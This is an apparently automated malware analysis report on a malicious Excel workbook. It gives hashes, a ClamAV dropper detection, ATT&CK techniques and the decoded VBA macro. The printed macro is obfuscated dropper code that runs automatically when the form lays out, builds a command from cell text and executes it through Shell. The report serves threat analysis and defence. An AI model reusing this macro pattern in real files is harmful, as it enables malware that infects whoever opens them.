Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b12f8d41fcf8255c…

MALICIOUS

Office (OOXML)

41.2 KB Created: 2020-07-16 09:32:47 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-15
MD5: f828e6a48f225dd9cca59bc635f8532a SHA-1: 2d7a96b50de13caf75390fdbe57e57e9d7b491ae SHA-256: b12f8d41fcf8255ceab61f3313278034695cffe1fb6f216a1fdcecc61832ac54
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical ClamAV heuristic and the presence of VBA macros strongly indicate malicious intent. The VBA script concatenates strings to form a URL, which is then used to execute a payload via the Shell function. This suggests the document is a dropper designed to download and run a second-stage malicious file.

Heuristics 2

  • ClamAV: Doc.Dropper.Agent-8900738-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-8900738-0
  • VBA project inside OOXML medium OOXML_VBA
    Document contains a VBA project — VBA macros present

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 959 bytes
SHA-256: 22f3a257f6216dff5fde2a99c2c02c729ca522487564a3fde71fce92aa50e88f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "CheckPrinters, 1, 0, MSForms, Frame"
Function Ts(ASi As String) As String
Ts = Mid(ASi, msoLightingBright, msoCTrue)
End Function
Private Sub CheckPrinters_Layout()
For Each home In [A1:IV6200].SpecialCells(xlConstants)
live = live & Ts(home.Text)
Next
Shell@ live, msoFontAlignAuto: ActiveWorkbook.Close False
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 14848 bytes
SHA-256: 5fc034a05da77894ddaafafaaefcb45a5e1d9c5a2f4470b78014098e096eb737
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image1.emf 2024 bytes
SHA-256: 068b1b5475127332c13ed6c07f9f55ab2bbf3b5b1b0ac4caa9d13171780bc214